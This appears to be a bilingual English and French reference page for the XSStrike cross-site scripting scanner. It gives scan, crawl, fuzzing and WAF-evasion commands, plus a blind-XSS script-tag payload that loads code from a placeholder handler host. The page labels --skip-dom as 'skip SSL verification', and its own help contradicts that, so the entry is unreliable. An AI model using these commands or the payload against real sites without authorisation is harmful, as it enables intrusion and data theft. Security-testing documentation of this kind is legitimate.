XSStrike

Scanner XSS avancé avec fuzzing, analyse de contexte et contournement de WAF. Détecte le XSS réfléchi, DOM et stocké avec des payloads personnalisés et une analyse pilotée par intelligence. Advanced XSS scanner with fuzzing, context analysis, and WAF bypass. Detects reflected, DOM, and stored XSS with custom payloads and intelligence-driven analysis.

↗ https://github.com/s0md3v/XSStrike

Overview

XSStrike is an XSS detection tool that goes beyond simple payload injection. It analyzes response context, generates context-aware payloads, fuzzes for WAF bypass, and can crawl entire applications for XSS vulnerabilities. Supports reflected, DOM-based, and blind XSS testing.

Basic Usage

Test a single URL

python3 xsstrike.py -u "https://target.com/search?q=test"

Test POST parameter

python3 xsstrike.py -u "https://target.com/login" --data "username=test&password=test"

Test with cookies (authenticated scan)

python3 xsstrike.py -u "https://target.com/search?q=test" --cookies "session=abc123"

Crawling

Crawl the entire application

python3 xsstrike.py -u "https://target.com" --crawl

Set crawl depth

python3 xsstrike.py -u "https://target.com" --crawl -l 3

Crawl and test all discovered parameters

python3 xsstrike.py -u "https://target.com" --crawl --blind

DOM-based XSS

Test for DOM XSS

python3 xsstrike.py -u "https://target.com/page" --dom

Fuzzing Mode

Fuzz all parameters with all payloads

python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer

With delay to avoid WAF blocks

python3 xsstrike.py -u "https://target.com/search?q=test" --delay 2

Network Options

Through proxy (Burp)

python3 xsstrike.py -u "https://target.com/search?q=test" --proxy http://127.0.0.1:8080

Custom headers

python3 xsstrike.py -u "https://target.com/search?q=test" --headers "X-Forwarded-For: 127.0.0.1"

Skip SSL verification

python3 xsstrike.py -u "https://target.com/search?q=test" --skip-dom

Set timeout

python3 xsstrike.py -u "https://target.com/search?q=test" --timeout 10

Blind XSS

Test for blind XSS (XSS that fires in admin panel etc.)

python3 xsstrike.py -u "https://target.com/contact" --data "message=test&email=test@test.com" --blind
# Combined with a blind XSS handler (like XSS Hunter)
# Use payload: <script src="https://YOUR_XSS_HUNTER/js"></script>

Output

Verbose output

python3 xsstrike.py -u "https://target.com/search?q=test" -v

Log output

python3 xsstrike.py -u "https://target.com/search?q=test" 2>&1 | tee xss_results.txt

Tips

  • XSStrike’s context analysis produces more effective payloads than generic scanners
  • Always combine with manual testing — automated tools miss complex XSS chains
  • Use --crawl on single-page applications carefully — it can generate many requests
  • For WAF bypass, XSStrike automatically tries encoding variations; also try manual mutation
Help / Man page
python3 xsstrike.py [options]

-u URL            Target URL
--data DATA       POST data
--cookies COOKIES Cookies string
--headers HEADERS HTTP headers (JSON)
--proxy PROXY     HTTP proxy
--fuzzer          Enable fuzzer
--blind           Test for blind XSS
--dom             Test for DOM XSS
--crawl           Crawl the website
-l N              Crawl depth (default: 2)
--skip-dom        Skip DOM analysis
--delay N         Seconds between requests
--timeout N       Request timeout
-t THREADS        Concurrent threads
-v                Verbose output

Vue d’ensemble

XSStrike est un outil de détection XSS qui va au-delà de la simple injection de payload. Il analyse le contexte de la réponse, génère des payloads sensibles au contexte, fuzz pour le contournement de WAF, et peut parcourir des applications entières à la recherche de vulnérabilités XSS. Prend en charge les tests XSS réfléchi, basé sur le DOM, et aveugle.

Utilisation de base

# Tester une seule URL
python3 xsstrike.py -u "https://target.com/search?q=test"

# Tester un paramètre POST
python3 xsstrike.py -u "https://target.com/login" --data "username=test&password=test"

# Tester avec des cookies (scan authentifié)
python3 xsstrike.py -u "https://target.com/search?q=test" --cookies "session=abc123"

Crawling

# Parcourir l'application entière
python3 xsstrike.py -u "https://target.com" --crawl

# Définir la profondeur de crawl
python3 xsstrike.py -u "https://target.com" --crawl -l 3

# Parcourir et tester tous les paramètres découverts
python3 xsstrike.py -u "https://target.com" --crawl --blind

XSS basé sur le DOM

Tester le XSS DOM

python3 xsstrike.py -u "https://target.com/page" --dom

Mode fuzzing

# Fuzzer tous les paramètres avec tous les payloads
python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer

# Avec un délai pour éviter les blocages WAF
python3 xsstrike.py -u "https://target.com/search?q=test" --delay 2

Options réseau

# Via un proxy (Burp)
python3 xsstrike.py -u "https://target.com/search?q=test" --proxy http://127.0.0.1:8080

# En-têtes personnalisés
python3 xsstrike.py -u "https://target.com/search?q=test" --headers "X-Forwarded-For: 127.0.0.1"

# Ignorer la vérification SSL
python3 xsstrike.py -u "https://target.com/search?q=test" --skip-dom

# Définir le timeout
python3 xsstrike.py -u "https://target.com/search?q=test" --timeout 10

XSS aveugle

Tester le XSS aveugle (XSS qui se déclenche dans un panneau d’admin, etc.)

python3 xsstrike.py -u "https://target.com/contact" --data "message=test&email=test@test.com" --blind
# Combiné avec un handler de XSS aveugle (comme XSS Hunter)
# Utiliser le payload : <script src="https://YOUR_XSS_HUNTER/js"></script>

Sortie

# Sortie verbeuse
python3 xsstrike.py -u "https://target.com/search?q=test" -v

# Journaliser la sortie
python3 xsstrike.py -u "https://target.com/search?q=test" 2>&1 | tee xss_results.txt

Conseils

  • L’analyse de contexte de XSStrike produit des payloads plus efficaces que les scanners génériques
  • Toujours combiner avec des tests manuels : les outils automatisés ratent les chaînes de XSS complexes
  • Utiliser --crawl sur les applications à page unique avec précaution : cela peut générer de nombreuses requêtes
  • Pour le contournement de WAF, XSStrike essaie automatiquement des variations d’encodage ; essayer aussi une mutation manuelle
Aide / Page de manuel
python3 xsstrike.py [options]

-u URL            Target URL
--data DATA       POST data
--cookies COOKIES Cookies string
--headers HEADERS HTTP headers (JSON)
--proxy PROXY     HTTP proxy
--fuzzer          Enable fuzzer
--blind           Test for blind XSS
--dom             Test for DOM XSS
--crawl           Crawl the website
-l N              Crawl depth (default: 2)
--skip-dom        Skip DOM analysis
--delay N         Seconds between requests
--timeout N       Request timeout
-t THREADS        Concurrent threads
-v                Verbose output